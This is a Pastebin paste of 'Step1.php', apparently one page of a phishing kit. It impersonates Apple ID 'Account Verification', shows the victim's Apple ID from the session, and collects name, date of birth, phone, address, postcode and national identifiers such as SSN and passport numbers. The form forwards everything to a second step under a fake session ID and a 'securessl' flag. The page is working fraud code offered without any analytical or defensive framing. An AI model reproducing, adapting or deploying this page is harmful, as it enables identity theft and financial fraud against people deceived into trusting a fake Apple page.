API tools faq
paste
safrinnangili

Step1.php

safrinnangili
Mar 10th, 2018
49
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.84 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. require "assets/includes/session_protect.php";
  3. require "assets/includes/functions.php";
  4. require "assets/includes/language.mob.php";
  5. require "assets/includes/One_Time.php";
  6. require "assets/includes/enc.php";
  7. ?>
  8. <!DOCTYPE html>
  9. <html>
  10. <head>
  11. <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
  12. <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  13. <title>Confirm your information</title>
  14. <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
  15. <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
  16. <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
  17. <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
  18. <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
  19. <style>.error {color:red}</style>
  20. </head>
  21. <body id="pagecontent">
  22. <div id="content">
  23. <div class="bdd45">
  24. <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
  25. <div class="HeaderObjHolder">
  26. <ul class="MobHeader">
  27. <li class="HeaderObj MobMenIconH">
  28. <label class="MobMenHol">
  29. <span class="MobMenIcon MobMenIcon-top">
  30. <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
  31. <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
  32. </label>
  33. </li>
  34. <li class="HeaderObj">
  35. <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text">&nbsp;</span> </a>
  36. <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
  37. </li>
  38. </ul>
  39. <ul class="HeaderObjList">
  40. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
  41. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
  42. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
  43. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
  44. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
  45. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
  46. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
  47. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
  48. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
  49. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
  50. </ul>
  51. </div>
  52. </nav>
  53.  
  54.  
  55.  
  56. <div id="flow">
  57. <div class="flow-body signin clearfix" role="main">
  58. <div class="persona-splash no-photo clearfix">
  59.     <div class="persona-bg"></div>
  60.     <div class="container">
  61.         <div class="splash-section">
  62.             <div class=" person-wrapper">
  63.                 <div>
  64.                     <div class="row">
  65.                         <div class="col-sm-9 appleid-col">
  66.                             <div class="flex-container">
  67.                                 <h1 class="mobile appleid-user">
  68.                                     <span class="first_name">Account Verification</span>
  69.                                     <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
  70.                                 </h1>
  71.                             </div>
  72.                         </div>
  73.                         <div class="not-mobile col-sm-3">
  74.                             <div class="flex-container-signout">
  75.                                 <div class="signout pull-right">
  76.                                     <button class="btn btn-link">Sign Out </button>
  77.                                 </div>
  78.                             </div>
  79.                         </div>
  80.                     </div>
  81.                 </div>
  82.             </div>
  83.         </div>
  84.     </div>
  85. </div>
  86. <div class="container">
  87. <div class="flex home-content">
  88.  
  89.  
  90. <form action="Step2.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
  91. <div class="container flow-sections">
  92. <div class="editable account-edit clearfix">
  93. <div class="row edit-row">
  94. <div class="col-sm-5">                            
  95. <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
  96. <div class="form-group">
  97. <div class="pop-wrapper field-pop-wrapper first-wrapper">
  98. <div class="name-input">
  99.   <input type="text" name="fname" id="fname" class="generic-input-field form-control field" placeholder="first name">
  100.   <span id="nameerror"></span>
  101. </div>
  102. </div>
  103. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  104. <div class="name-input">
  105.   <input type="text" name="mname" id="mname" class="generic-input-field form-control field" placeholder="middle name (optional)">
  106. </div>
  107. </div>
  108. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  109. <div class="name-input">
  110.   <input type="text" name="lname" id="lname" class="generic-input-field form-control field" placeholder="last name">
  111. </div>
  112. </div>
  113. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  114. <div class="name-input">
  115. <input id="dob" name="dob" class="form-control form-input" type="tel" placeholder="date of birth">
  116. </div>
  117. </div>
  118. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  119. <div class="name-input">
  120. <input id="telephone" name="telephone" class="form-control form-input" type="tel" placeholder="telephone number">
  121. </div>
  122. </div>
  123. <?php echo $lang['SSN'];?>
  124. <?php echo $lang['PASSPORT'];?>
  125. <?php echo $lang['NUMBID'];?>
  126. <?php echo $lang['NAID'];?>
  127. <?php echo $lang['CIVILID'];?>
  128. <?php echo $lang['QATARID'];?>
  129. <?php echo $lang['CITIZENID'];?>
  130. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  131. <div class="name-input">
  132.   <input type="text" name="address" id="address" class="generic-input-field form-control field" placeholder="address Line ">
  133. </div>
  134. </div>
  135. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  136. <div class="name-input">
  137.   <input type="text" name="town" id="town" class="generic-input-field form-control field" placeholder="town / city">
  138. </div>
  139. </div>
  140.  
  141. <div class="form-group clearfix middle-wrapper">
  142. <div class="select-wrapper">
  143. <?php echo $lang['COUNTYSELECT'];?>
  144. </div>
  145. </div>
  146. <div class="pop-wrapper field-pop-wrapper last-wrapper">
  147. <div class="name-input">
  148.   <input type="text" name="postcode" id="postcode" class="generic-input-field form-control field" placeholder="<?php echo $lang['POSTCODE'];?>">
  149. </div>
  150. </div>
  151. <input type="hidden" name="country" value="<?php echo $lang['COUNTRY'];?>">
  152. <br>
  153. <br>
  154. <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
  155. </div>
  156. </div>
  157. </div>
  158. </div>
  159. </div>
  160. </form>
  161.  
  162.  
  163.  
  164. </div>
  165. </div>
  166. </div>
  167. </div>
  168. </div>
  169. </div>
  170. </body>
  171. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!